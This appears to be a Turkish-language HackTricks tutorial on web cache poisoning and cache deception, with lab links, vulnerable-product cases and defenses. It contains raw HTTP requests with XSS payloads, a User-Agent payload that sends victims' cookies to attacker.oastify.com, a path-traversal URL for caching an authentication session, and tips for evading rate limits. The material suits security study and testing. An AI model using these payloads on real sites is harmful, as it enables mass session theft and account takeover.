Cache Poisoning and Cache Deception

Reading time: 15 minutes

tip

AWS Hacking'i öğrenin ve pratik yapın:HackTricks Training AWS Red Team Expert (ARTE)
GCP Hacking'i öğrenin ve pratik yapın: HackTricks Training GCP Red Team Expert (GRTE) Azure Hacking'i öğrenin ve pratik yapın: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks'i Destekleyin

Fark

Web cache poisoning ile web cache deception arasındaki fark nedir?

  • Web cache poisoning'de, saldırgan uygulamanın önbelleğe bazı kötü niyetli içerikler depolamasını sağlar ve bu içerikler önbellekten diğer uygulama kullanıcılarına sunulur.
  • Web cache deception'da, saldırgan uygulamanın başka bir kullanıcıya ait bazı hassas içerikleri önbelleğe depolamasını sağlar ve ardından bu içeriği önbellekten geri alır.

Cache Poisoning

Cache poisoning, istemci tarafı önbelleğini manipüle ederek istemcilerin beklenmedik, kısmi veya bir saldırganın kontrolü altındaki kaynakları yüklemeye zorlamayı amaçlar. Etkisi, etkilenen sayfanın popülaritesine bağlıdır, çünkü kirlenmiş yanıt yalnızca önbellek kontaminasyonu süresince sayfayı ziyaret eden kullanıcılara sunulur.

Cache poisoning saldırısının gerçekleştirilmesi birkaç adım içerir:

  1. Anahtarsız Girdilerin Belirlenmesi: Bunlar, bir isteğin önbelleğe alınması için gerekli olmasa da, sunucunun döndürdüğü yanıtı değiştirebilen parametrelerdir. Bu girdilerin belirlenmesi, önbelleği manipüle etmek için sömürülebileceğinden kritik öneme sahiptir.
  2. Anahtarsız Girdilerin Sömürülmesi: Anahtarsız girdiler belirlendikten sonra, bir sonraki adım bu parametreleri saldırganın yararına sunucunun yanıtını değiştirmek için nasıl kötüye kullanacağını bulmaktır.
  3. Kirlenmiş Yanıtın Önbelleğe Alındığının Garantilenmesi: Son adım, manipüle edilmiş yanıtın önbelleğe kaydedildiğinden emin olmaktır. Bu şekilde, önbellek kirlenmişken etkilenen sayfaya erişen herhangi bir kullanıcı kirlenmiş yanıtı alacaktır.

Keşif: HTTP başlıklarını kontrol et

Genellikle, bir yanıt önbelleğe kaydedildiğinde bununla ilgili bir başlık olacaktır, hangi başlıklara dikkat etmeniz gerektiğini bu yazıda kontrol edebilirsiniz: HTTP Cache başlıkları.

Keşif: Önbellek hata kodları

Eğer yanıtın bir önbelleğe kaydedildiğini düşünüyorsanız, kötü bir başlıkla istek göndermeyi deneyebilirsiniz, bu da 400 durum kodu ile yanıtlanmalıdır. Ardından isteği normal bir şekilde erişmeye çalışın ve eğer yanıt 400 durum koduysa, bunun zayıf olduğunu bilirsiniz (ve hatta bir DoS gerçekleştirebilirsiniz).

Daha fazla seçenek bulabilirsiniz:

Cache Poisoning to DoS

Ancak, bazen bu tür durum kodlarının önbelleğe alınmadığını unutmayın, bu nedenle bu test güvenilir olmayabilir.

Keşif: Anahtarsız girdileri tanımlama ve değerlendirme

Param Miner kullanarak parametreleri ve başlıkları zorlayabilir ve bunların sayfanın yanıtını değiştirebileceğini kontrol edebilirsiniz. Örneğin, bir sayfa X-Forwarded-For başlığını kullanarak istemcinin buradan script yüklemesini belirtiyor olabilir:

html
<script type="text/javascript" src="//<X-Forwarded-For_value>/resources/js/tracking.js"></script>

Arka uç sunucudan zararlı bir yanıt elde etme

Parametre/başlık belirlendikten sonra, nasıl temizlendiğini ve nerede yansıtıldığını veya başlıktan gelen yanıtı nasıl etkilediğini kontrol edin. Bunu herhangi bir şekilde kötüye kullanabilir misiniz (bir XSS gerçekleştirmek veya kontrolünüzde bir JS kodu yüklemek? bir DoS gerçekleştirmek?...)

Yanıtı önbelleğe alma

Kötüye kullanılabilecek sayfayı belirledikten sonra, hangi parametre/başlık kullanılacağını ve nasıl kötüye kullanılacağını bilmeniz gerekir, sayfayı önbelleğe almanız gerekir. Önbelleğe almak istediğiniz kaynağa bağlı olarak bu biraz zaman alabilir, birkaç saniye boyunca denemek zorunda kalabilirsiniz.

Yanıt içindeki X-Cache başlığı, isteğin önbelleğe alınmadığında miss değerine ve önbelleğe alındığında hit değerine sahip olabileceğinden çok faydalı olabilir.
Cache-Control başlığı da bir kaynağın önbelleğe alınıp alınmadığını ve kaynağın bir sonraki ne zaman önbelleğe alınacağını bilmek için ilginçtir: Cache-Control: public, max-age=1800

Bir diğer ilginç başlık Vary. Bu başlık, genellikle önbellek anahtarının bir parçası olarak işlem gören ek başlıkları belirtmek için kullanılır, normalde anahtarsız olsalar bile. Bu nedenle, hedeflediği kurbanın User-Agent'ını bilen bir kullanıcı, o belirli User-Agent'ı kullanan kullanıcılar için önbelleği zehirleyebilir.

Önbellekle ilgili bir başlık daha Age. Bu, nesnenin proxy önbelleğinde kaç saniye kaldığını tanımlar.

Bir isteği önbelleğe alırken, kullandığınız başlıklarla dikkatli olun çünkü bazıları beklenmedik şekilde anahtarlı olarak kullanılabilir ve kurbanın o aynı başlığı kullanması gerekecektir. Her zaman farklı tarayıcılarla bir Cache Poisoning'i test edin.

Sömürü Örnekleri

En kolay örnek

X-Forwarded-For gibi bir başlık, yanıt içinde temizlenmeden yansıtılıyor.
Temel bir XSS yükü gönderebilir ve önbelleği zehirleyerek sayfaya erişen herkesin XSS olmasını sağlayabilirsiniz:

html
GET /en?region=uk HTTP/1.1
Host: innocent-website.com
X-Forwarded-Host: a."><script>alert(1)</script>"

Not edin ki bu, /en?region=uk isteğini zehirleyecek, /en isteğini değil.

DoS için Önbellek zehirleme

Cache Poisoning to DoS

CDN'ler aracılığıyla Önbellek zehirleme

bu yazıda aşağıdaki basit senaryo açıklanmaktadır:

  • CDN, /share/ altındaki her şeyi önbelleğe alacaktır.
  • CDN, %2F..%2F'yi çözmeyecek veya normalleştirmeyecek, bu nedenle, önbelleğe alınacak diğer hassas konumlara erişim için yol geçişi olarak kullanılabilir; örneğin https://chat.openai.com/share/%2F..%2Fapi/auth/session?cachebuster=123
  • Web sunucusu %2F..%2F'yi çözecek ve normalleştirecek ve /api/auth/session ile yanıt verecektir; bu kimlik doğrulama jetonunu içerir.

Çerez işleme zafiyetlerini istismar etmek için web önbellek zehirlemesi kullanma

Çerezler, bir sayfanın yanıtında da yansıtılabilir. Eğer bunu bir XSS oluşturmak için kötüye kullanabilirseniz, kötü niyetli önbellek yanıtını yükleyen birkaç istemcide XSS'i istismar edebilirsiniz.

html
GET / HTTP/1.1
Host: vulnerable.com
Cookie: session=VftzO7ZtiBj5zNLRAuFpXpSQLjS4lBmU; fehost=asd"%2balert(1)%2b"

Not edin ki, eğer savunmasız çerez kullanıcılar tarafından çok kullanılıyorsa, düzenli istekler önbelleği temizleyecektir.

Ayırıcılar, normalizasyon ve noktalar ile tutarsızlıklar oluşturma

Kontrol et:

Cache Poisoning via URL discrepancies

API anahtarını çalmak için yol geçişi ile önbellek zehirleme

Bu yazı https://chat.openai.com/share/%2F..%2Fapi/auth/session?cachebuster=123 gibi bir URL ile bir OpenAI API anahtarının nasıl çalındığını açıklıyor çünkü /share/* ile eşleşen her şey, istek web sunucusuna ulaştığında URL'yi normalleştirmeden önbelleğe alınacaktır.

Bu, daha iyi bir şekilde de açıklanmıştır:

Cache Poisoning via URL discrepancies

Web önbellek zehirleme zafiyetlerini istismar etmek için birden fazla başlık kullanma

Bazen bir önbelleği istismar edebilmek için birden fazla anahtarsız girdi kullanmanız gerekecektir. Örneğin, X-Forwarded-Host başlığını sizin kontrolünüzdeki bir alan adına ve X-Forwarded-Scheme başlığını http olarak ayarlarsanız bir Açık yönlendirme bulabilirsiniz. Eğer sunucu tüm HTTP isteklerini HTTPS'ye yönlendiriyorsa ve X-Forwarded-Scheme başlığını yönlendirme için alan adı olarak kullanıyorsa, yönlendirme ile sayfanın nereye yönlendirileceğini kontrol edebilirsiniz.

html
GET /resources/js/tracking.js HTTP/1.1
Host: acc11fe01f16f89c80556c2b0056002e.web-security-academy.net
X-Forwarded-Host: ac8e1f8f1fb1f8cb80586c1d01d500d3.web-security-academy.net/
X-Forwarded-Scheme: http

Sınırlı Vary başlığı ile istismar

Eğer X-Host başlığının bir JS kaynağını yüklemek için alan adı olarak kullanıldığını ve yanıtın Vary başlığının User-Agent belirttiğini bulduysanız, o zaman kurbanın User-Agent'ını dışarı sızdırmanın ve bu kullanıcı ajanını kullanarak önbelleği zehirlemenin bir yolunu bulmalısınız:

html
GET / HTTP/1.1
Host: vulnerbale.net
User-Agent: THE SPECIAL USER-AGENT OF THE VICTIM
X-Host: attacker.com

Fat Get

URL'deki ve gövdedeki isteği içeren bir GET isteği gönderin. Eğer web sunucusu gövdedekini kullanıyorsa ama önbellek sunucusu URL'dekini önbelleğe alıyorsa, o URL'ye erişen herkes aslında gövdedeki parametreyi kullanacaktır. James Kettle'ın Github web sitesinde bulduğu zafiyet gibi:

GET /contact/report-abuse?report=albinowax HTTP/1.1
Host: github.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 22

report=innocent-victim

Bir portswigger laboratuvarı hakkında: https://portswigger.net/web-security/web-cache-poisoning/exploiting-implementation-flaws/lab-web-cache-poisoning-fat-get

Parametre Gizleme

Örneğin, ruby sunucularında parametreleri ; karakterini kullanarak & yerine ayırmak mümkündür. Bu, anahtarsız parametre değerlerini anahtarlı olanların içine yerleştirmek ve bunları kötüye kullanmak için kullanılabilir.

Portswigger laboratuvarı: https://portswigger.net/web-security/web-cache-poisoning/exploiting-implementation-flaws/lab-web-cache-poisoning-param-cloaking

HTTP Cache Poisoning'i HTTP Request Smuggling ile Kötüye Kullanma

Cache Poisoning saldırılarını HTTP Request Smuggling'i kötüye kullanarak nasıl gerçekleştireceğinizi burada öğrenin.

Web Cache Poisoning için Otomatik Test

Web Cache Vulnerability Scanner, web cache poisoning için otomatik test yapmak üzere kullanılabilir. Birçok farklı tekniği destekler ve yüksek derecede özelleştirilebilir.

Örnek kullanım: wcvs -u example.com

Header-reflection XSS + CDN/WAF destekli cache tohumlama (User-Agent, otomatik önbelleğe alınmış .js)

Bu gerçek dünya modeli, diğer kullanıcılara sunulan önbelleğe alınmış HTML'yi güvenilir bir şekilde zehirlemek için header tabanlı bir yansıma ilkesini CDN/WAF davranışıyla birleştirir:

  • Ana HTML, güvenilmeyen bir istek başlığını (örneğin, User-Agent) çalıştırılabilir bir bağlama yansıttı.
  • CDN, önbellek başlıklarını kaldırdı ancak bir iç/orijin önbelleği vardı. CDN ayrıca statik uzantılarla (örneğin, .js) biten istekleri otomatik olarak önbelleğe aldı, WAF ise statik varlıklar için GET'lerde daha zayıf içerik denetimi uyguladı.
  • İstek akışı tuhaflıkları, bir .js yoluna yapılan bir isteğin, sonraki ana HTML için kullanılan önbellek anahtarını/çeşidini etkilemesine izin verdi ve header yansıması yoluyla kullanıcılar arası XSS'yi mümkün kıldı.

Pratik tarif (popüler bir CDN/WAF üzerinde gözlemlendi):

  1. Temiz bir IP'den (önceki itibar tabanlı düşüşlerden kaçının), tarayıcı veya Burp Proxy Match & Replace aracılığıyla kötü niyetli bir User-Agent ayarlayın.
  2. Burp Repeater'da, iki isteğin bir grubunu hazırlayın ve "Grubu paralel gönder" seçeneğini kullanın (tek paket modu en iyi çalışır):
  • İlk istek: Kötü niyetli User-Agent'ınızı gönderirken aynı kök üzerinde bir .js kaynak yolunu GET yapın.
  • Hemen ardından: Ana sayfayı (/) GET yapın.
  1. CDN/WAF yönlendirme yarışı ve otomatik önbelleğe alınmış .js, genellikle aynı önbellek anahtar koşullarını paylaşan diğer ziyaretçilere sunulan zehirli bir önbelleğe alınmış HTML çeşidini tohumlar (örneğin, aynı Vary boyutları gibi User-Agent).

Örnek header yükü (HttpOnly olmayan çerezleri dışa aktarmak için):

User-Agent: Mo00ozilla/5.0</script><script>new Image().src='https://attacker.oastify.com?a='+document.cookie</script>"

Operasyonel ipuçları:

  • Birçok CDN, önbellek başlıklarını gizler; zehirlenme yalnızca çok saatlik yenileme döngülerinde görünebilir. Oran sınırlaması veya itibar tetikleyicilerini önlemek için birden fazla bakış açısı IP'si kullanın ve hızı sınırlayın.
  • CDN'nin kendi bulutundan bir IP kullanmak, yönlendirme tutarlılığını bazen artırır.
  • Eğer katı bir CSP varsa, bu yine de çalışır; yansıma ana HTML bağlamında yürütülürse ve CSP, satır içi yürütmeye izin veriyorsa veya bağlam tarafından atlanıyorsa.

Etkisi:

  • Eğer oturum çerezleri HttpOnly değilse, zehirlenmiş HTML'yi alan tüm kullanıcıların document.cookie'sini kitlesel olarak dışarı aktararak sıfır tıklama ATO mümkündür.

Savunmalar:

  • İstek başlıklarını HTML'ye yansıtmayı durdurun; kaçınılmazsa katı bir bağlam kodlaması yapın. CDN ve köken önbellek politikalarını hizalayın ve güvenilmeyen başlıklarda değişiklik yapmaktan kaçının.
  • WAF'nin .js isteklerine ve statik yollara içerik denetimini tutarlı bir şekilde uyguladığından emin olun.
  • Oturum çerezlerinde HttpOnly (ve Secure, SameSite) ayarlayın.

Savunmasız Örnekler

Apache Traffic Server (CVE-2021-27577)

ATS, URL içindeki parçayı kesmeden iletti ve önbellek anahtarını yalnızca ana bilgisayar, yol ve sorgu kullanarak oluşturdu (parçayı göz ardı ederek). Bu nedenle /#/../?r=javascript:alert(1) isteği arka uca /#/../?r=javascript:alert(1) olarak gönderildi ve önbellek anahtarında yük yoktu, yalnızca ana bilgisayar, yol ve sorgu vardı.

GitHub CP-DoS

İçerik türü başlığında kötü bir değer göndermek, 405 önbellekli bir yanıtı tetikledi. Önbellek anahtarı çerezi içeriyordu, bu nedenle yalnızca kimlik doğrulaması yapılmamış kullanıcıları hedef almak mümkündü.

GitLab + GCP CP-DoS

GitLab, statik içeriği depolamak için GCP kovalarını kullanır. GCP Kovaları, x-http-method-override başlığını destekler. Bu nedenle x-http-method-override: HEAD başlığını göndermek ve önbelleği boş bir yanıt gövdesi döndürmek için zehirlemek mümkündü. Ayrıca PURGE yöntemini de destekleyebilirdi.

Rack Middleware (Ruby on Rails)

Ruby on Rails uygulamalarında, Rack ara yazılımı sıklıkla kullanılır. Rack kodunun amacı, x-forwarded-scheme başlığının değerini almak ve bunu isteğin şeması olarak ayarlamaktır. x-forwarded-scheme: http başlığı gönderildiğinde, aynı konuma 301 yönlendirmesi gerçekleşir ve bu, o kaynağa bir Hizmet Reddi (DoS) neden olabilir. Ayrıca, uygulama X-forwarded-host başlığını tanıyabilir ve kullanıcıları belirtilen ana bilgisayara yönlendirebilir. Bu davranış, bir saldırganın sunucusundan JavaScript dosyalarının yüklenmesine yol açarak güvenlik riski oluşturabilir.

403 ve Depolama Kovaları

Cloudflare daha önce 403 yanıtlarını önbelleğe alıyordu. Yanlış Yetkilendirme başlıkları ile S3 veya Azure Depolama Blob'larına erişmeye çalışmak, önbelleğe alınan bir 403 yanıtı ile sonuçlanıyordu. Cloudflare 403 yanıtlarını önbelleğe almayı durdurmuş olsa da, bu davranış diğer proxy hizmetlerinde hala mevcut olabilir.

Anahtar Parametreleri Enjekte Etme

Önbellekler genellikle önbellek anahtarında belirli GET parametrelerini içerir. Örneğin, Fastly'nin Varnish'i isteklerde size parametresini önbelleğe alıyordu. Ancak, parametrenin URL kodlu bir versiyonu (örneğin, siz%65) hatalı bir değerle gönderildiğinde, önbellek anahtarı doğru size parametresi kullanılarak oluşturuluyordu. Yine de, arka uç URL kodlu parametredeki değeri işliyordu. İkinci size parametresinin URL kodlaması, önbellek tarafından atlanmasına ancak arka uç tarafından kullanılmasına neden oldu. Bu parametreye 0 değeri atamak, önbelleğe alınabilir bir 400 Bad Request hatası ile sonuçlandı.

Kullanıcı Aracı Kuralları

Bazı geliştiriciler, sunucu yükünü yönetmek için FFUF veya Nuclei gibi yüksek trafik araçlarının kullanıcı ajanlarıyla eşleşen istekleri engeller. Ironik bir şekilde, bu yaklaşım önbellek zehirlenmesi ve DoS gibi güvenlik açıkları oluşturabilir.

Geçersiz Başlık Alanları

RFC7230, başlık adlarında kabul edilebilir karakterleri belirtir. Belirtilen tchar aralığının dışındaki karakterleri içeren başlıkların ideal olarak 400 Bad Request yanıtı tetiklemesi gerekir. Pratikte, sunucular her zaman bu standarda uymamaktadır. Önemli bir örnek, geçersiz karakterler içeren başlıkları ileten ve cache-control başlığı mevcut olmadıkça herhangi bir 400 hatasını önbelleğe alan Akamai'dır. Geçersiz bir karakter içeren bir başlık gönderildiğinde, örneğin \, önbelleğe alınabilir bir 400 Bad Request hatası ile sonuçlanan bir sömürülebilir desen tespit edilmiştir.

Yeni başlıklar bulma

https://gist.github.com/iustin24/92a5ba76ee436c85716f003dda8eecc6

Önbellek Aldatmacası

Önbellek Aldatmacası'nın amacı, istemcilerin duyarlı bilgileri ile birlikte önbelleğe kaydedilecek kaynakları yüklemelerini sağlamaktır.

Öncelikle, .css, .js, .png gibi uzantıların genellikle önbelleğe kaydedilmek üzere yapılandırıldığını unutmayın. Bu nedenle, www.example.com/profile.php/nonexistent.js adresine erişirseniz, önbellek muhtemelen yanıtı depolayacaktır çünkü .js uzantısını görmektedir. Ancak, eğer uygulama, www.example.com/profile.php içinde depolanan duyarlı kullanıcı içerikleri ile tekrar oynuyorsa, bu içerikleri diğer kullanıcılardan çalıp alabilirsiniz.

Test edilecek diğer şeyler:

  • www.example.com/profile.php/.js
  • www.example.com/profile.php/.css
  • www.example.com/profile.php/test.js
  • www.example.com/profile.php/../test.js
  • www.example.com/profile.php/%2e%2e/test.js
  • Daha az bilinen uzantılar kullanın, örneğin .avif

Bu yazıda çok net bir örnek bulunabilir: https://hackerone.com/reports/593712.
Örnekte, http://www.example.com/home.php/non-existent.css gibi var olmayan bir sayfayı yüklediğinizde, http://www.example.com/home.php (kullanıcının duyarlı bilgileriyle) içeriğin döneceği ve önbellek sunucusunun sonucu kaydedeceği açıklanmaktadır.
Daha sonra, saldırgan, kendi tarayıcısında http://www.example.com/home.php/non-existent.css adresine erişebilir ve daha önce erişen kullanıcıların gizli bilgilerini gözlemleyebilir.

Önbellek proxy'sinin, dosyaların uzantısına (css) göre önbelleğe alınacak şekilde yapılandırılması gerektiğini unutmayın ve içerik türüne göre değil. Örneğin, http://www.example.com/home.php/non-existent.css adresinin text/html içerik türü yerine bir .css dosyası için beklenen text/css mime türüne sahip olacaktır.

Burada HTTP İstek Kaçırma kullanarak Önbellek Aldatmacası saldırıları nasıl gerçekleştirilir öğrenin.

Otomatik Araçlar

  • toxicache: Bir URL listesinde web önbellek zehirlenmesi açıklarını bulmak ve birden fazla enjekte etme tekniğini test etmek için Golang tarayıcı.

Referanslar

tip

AWS Hacking'i öğrenin ve pratik yapın:HackTricks Training AWS Red Team Expert (ARTE)
GCP Hacking'i öğrenin ve pratik yapın: HackTricks Training GCP Red Team Expert (GRTE) Azure Hacking'i öğrenin ve pratik yapın: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks'i Destekleyin